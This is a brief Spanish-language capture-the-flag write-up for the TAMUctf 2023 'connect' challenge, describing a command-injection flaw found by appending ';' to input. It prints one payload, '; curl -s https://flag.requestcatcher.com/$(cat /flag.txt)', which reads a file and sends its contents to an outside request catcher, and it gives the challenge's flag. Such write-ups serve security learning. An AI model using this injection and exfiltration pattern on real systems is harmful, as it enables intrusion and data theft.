TAMUctf 2023: informe de conexión
May 01 2023
Este desafío fue creado por Mr. Blade. Descarga la conexión.
Este desafío es creado por Mr. Blade
Descargue el archivo connect.zip. Tenemos app.py
Lo modifiqué para poder ejecutarlo y probarlo localmente.

Podemos agregar más comandos agregando ; .
Había creado un receptor de solicitudes conhttps://requestcatcher.com/para capturar la solicitud.
Hagamos la inyección de comandos agregando ; curl -s https://flag.requestcatcher.com/$(cat /flag.txt)
La ruta de la bandera se menciona en la descripción del desafío.

Usé burp y url codifiqué la carga útil. Veamos el receptor de solicitudes.

La bandera es gigem{p00r_f1lt3rs_m4k3_f0r_p00r_s3cur1ty}.
Gracias por leer.
¡Feliz hackeo!